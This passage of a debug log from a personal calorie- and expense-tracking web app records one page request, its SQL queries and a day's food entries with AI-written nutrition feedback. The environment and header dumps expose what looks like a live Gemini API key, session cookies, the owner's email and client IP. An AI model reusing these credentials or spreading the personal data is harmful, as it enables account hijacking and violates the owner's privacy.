  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:41.207Z server-connect:output restrict: undefined
2025-12-16T11:25:41.207Z server-connect:router Render template layouts/main
2025-12-16T11:25:41.207Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1469a-O4ZwXL79md0sPBfBSla4imVgwWc"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1469a-O4ZwXL79md0sPBfBSla4imVgwWc"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T11:25:41.804Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T11:25:41.807Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T11:25:41.808Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T11:25:41.809Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T11:25:41.809Z server-connect:app Executing action step identify
2025-12-16T11:25:41.809Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.809Z server-connect:output identity: 1
2025-12-16T11:25:41.809Z server-connect:app Executing action step restrict
2025-12-16T11:25:41.809Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:41.810Z server-connect:app Executing action step identify
2025-12-16T11:25:41.810Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.810Z server-connect:output identity: 1
2025-12-16T11:25:41.811Z server-connect:app Executing action step restrict
2025-12-16T11:25:41.811Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:41.811Z server-connect:output restrict: undefined
2025-12-16T11:25:41.811Z server-connect:app Executing action step select
2025-12-16T11:25:41.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T11:25:41.812Z server-connect:app Executing action step identify
2025-12-16T11:25:41.812Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.812Z server-connect:output identity: 1
2025-12-16T11:25:41.812Z server-connect:app Executing action step restrict
2025-12-16T11:25:41.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:41.812Z server-connect:app Executing action step identify
2025-12-16T11:25:41.812Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.812Z server-connect:output identity: 1
2025-12-16T11:25:41.813Z server-connect:app Executing action step restrict
2025-12-16T11:25:41.813Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.813Z server-connect:output restrict: undefined
2025-12-16T11:25:41.813Z server-connect:app Executing action step single
2025-12-16T11:25:41.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T11:25:41.814Z server-connect:output restrict: undefined
2025-12-16T11:25:41.814Z server-connect:app Executing action step single
2025-12-16T11:25:41.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T11:25:41.815Z server-connect:output restrict: undefined
2025-12-16T11:25:41.815Z server-connect:app Executing action step single
2025-12-16T11:25:41.815Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T11:25:41.817Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T11:25:41.818Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T11:25:41.819Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's food intake appears to be a mix of processed and home-cooked items, with a noticeable portion of the day's energy coming from carbohydrate-rich foods. While there were instances of protein intake, it may not be optimally structured for muscle development alongside fat loss given the workout routine. Meal timing seems somewhat spread out, but recovery support could be enhanced.",
    bad_points: [
      'The overall protein intake seems insufficient to optimally support muscle development and recovery after early morning gym sessions.',
      'Several items, like idli with ketchup and digestive biscuits, are less nutrient-dense and might contribute to less efficient progress.',
      'Sugar in the milk coffee contributes to unnecessary energy intake without significant nutritional benefit.',
      'Fat content in Aloo Gobi, while likely from healthy cooking methods, adds to the overall energy of the meal.'
    ],
    good_points: [
      'Inclusion of green tea for hydration and potential metabolic support.',
      'Incorporation of whole wheat roti as a complex carbohydrate source.',
      'Consumption of makhana provides a lighter, less processed snack option.'
    ],
    suggestions: [
      'Prioritize protein-rich foods with each meal to better support muscle building and satiety.',
      'Consider incorporating lean protein sources like chicken, fish, paneer, or lentils in larger portions.',
      'Review snack choices to ensure they are aligned with goals, perhaps opting for nuts, seeds, or Greek yogurt.',
      'Hydrate adequately throughout the day, especially around workout times.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A gradual decrease in body weight.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T11:25:41.820Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T11:25:41.820Z server-connect:app Executing action step select
2025-12-16T11:25:41.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T11:25:41.822Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T11:25:41.822Z server-connect:app Executing action step setvalue
2025-12-16T11:25:41.822Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T11:25:41.823Z server-connect:output var_total: 1313
2025-12-16T11:25:41.823Z server-connect:app Executing action step setvalue
2025-12-16T11:25:41.823Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T11:25:41.823Z server-connect:output var_consumed: 55
2025-12-16T11:25:41.823Z server-connect:app Executing action step setvalue
2025-12-16T11:25:41.823Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T11:25:41.823Z server-connect:output var_deficit: 1087
2025-12-16T11:25:41.823Z server-connect:app Executing action step custom
2025-12-16T11:25:41.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T11:25:41.824Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
